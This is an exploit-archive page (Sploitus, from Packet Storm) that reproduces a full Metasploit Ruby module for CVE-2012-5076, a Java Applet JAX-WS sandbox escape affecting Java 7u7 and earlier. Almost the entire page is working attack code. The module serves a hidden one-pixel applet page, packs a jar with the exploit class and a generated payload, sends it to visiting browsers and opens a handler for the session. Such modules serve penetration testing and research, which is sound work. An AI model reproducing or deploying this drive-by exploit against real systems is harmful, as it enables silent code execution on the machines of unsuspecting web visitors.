Sploitus

Exploit for Java Applet JAX-WS Remote Code Execution

packetstorm · 2012-11-13

Exploit Code

ruby120 lines
## https://sploitus.com/exploit?id=PACKETSTORM:118040
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({ :javascript => false })  
  
def initialize( info = {} )  
super( update_info( info,  
'Name' => 'Java Applet JAX-WS Remote Code Execution',  
'Description' => %q{  
This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java  
code outside of the sandbox as exploited in the wild in November of 2012. The  
vulnerability affects Java version 7u7 and earlier.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability Discovery  
'juan vazquez' # metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-5076' ],  
[ 'OSVDB', '86363' ],  
[ 'BID', '56054' ],  
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],  
[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ]  
],  
'Platform' => [ 'java', 'win' ],  
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Arch' => ARCH_JAVA,  
}  
],  
[ 'Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
],  
[ 'Linux x86',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 16 2012'  
))  
end  
  
  
def on_request_uri( cli, request )  
if not request.uri.match(/\.jar$/i)  
if not request.uri.match(/\/$/)  
send_redirect(cli, get_resource() + '/', '')  
return  
end  
  
print_status("#{self.name} handling request")  
  
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )  
return  
end  
  
paths = [  
[ "Exploit.class" ],  
[ "MyPayload.class" ]  
]  
  
p = regenerate_payload(cli)  
  
jar = p.encoded_jar  
  
paths.each do |path|  
1.upto(path.length - 1) do |idx|  
full = path[0,idx].join("/") + "/"  
if !(jar.entries.map{|e|e.name}.include?(full))  
jar.add_file(full, '')  
end  
end  
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")  
data = fd.read(fd.stat.size)  
jar.add_file(path.join("/"), data)  
fd.close  
end  
  
print_status("Sending Applet.jar")  
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )  
  
handler( cli )  
end  
  
def generate_html  
jar_name = rand_text_alpha(rand(6)+3) + ".jar"  
html = "<html><head></head>"  
html += "<body>"  
html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"  
html += "</applet></body></html>"  
return html  
end  
  
end